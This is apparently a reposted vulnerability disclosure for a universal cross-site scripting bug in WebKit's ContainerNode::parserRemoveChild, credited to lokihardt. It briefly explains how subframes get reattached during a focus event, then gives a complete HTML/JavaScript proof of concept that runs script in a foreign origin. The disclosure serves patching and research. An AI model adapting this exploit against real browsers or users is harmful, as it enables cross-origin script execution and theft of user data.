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WebKit ContainerNode::parserRemoveChild (2) Universal Cross Site Scripting

Posted on 26 May 2017

WebKit: UXSS via ContainerNode::parserRemoveChild (2)

Here's a snippet of ContainerNode::parserRemoveChild.

void ContainerNode::parserRemoveChild(Node& oldChild)
{
disconnectSubframesIfNeeded(*this, DescendantsOnly); <<---- (a)
...
document().notifyRemovePendingSheetIfNeeded(); <<---- (b)
}

subframes are detached at (a). But In |notifyRemovePendingSheetIfNeeded| at (b), which fires a focus event, we can attach subframes again.

PoC:
<html>
<head>
</head>
<body>
<script>

let xml = `
<body>
<div>

<p>
<script>
let p = document.querySelector('p');
let link = p.appendChild(document.createElement('link'));
link.rel = 'stylesheet';
link.href = 'data:,aaaaazxczxczzxzcz';

let btn = document.body.appendChild(document.createElement('button'));
btn.id = 'btn';
btn.onfocus = () => {
btn.onfocus = null;

window.d = document.querySelector('div');
window.d.remove();

link.remove();
document.body.appendChild(p);

let m = p.appendChild(document.createElement('iframe'));
setTimeout(() => {
document.documentElement.innerHTML = '';

m.onload = () => {
m.onload = null;

m.src = 'javascript:alert(location);';
var xml = `
<svg xmlns="<a href="http://www.w3.org/2000/svg" title="" class="" rel="nofollow">http://www.w3.org/2000/svg</a>">
<script>
document.documentElement.appendChild(parent.d);
</sc` + `ript>
<element a="1" a="2" />
</svg>`;

var tmp = document.documentElement.appendChild(document.createElement('iframe'));
tmp.src = URL.createObjectURL(new Blob([xml], {type: 'text/xml'}));
};
m.src = '<a href="https://abc.xyz/';" title="" class="" rel="nofollow">https://abc.xyz/';</a>
}, 0);
};

location.hash = 'btn';
</scrip` + `t>

</p>
</div>
</body>`;

let tf = document.body.appendChild(document.createElement('iframe'));
tf.src = URL.createObjectURL(new Blob([xml], {type: 'text/html'}));

</script>
</body>
</html>

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

 

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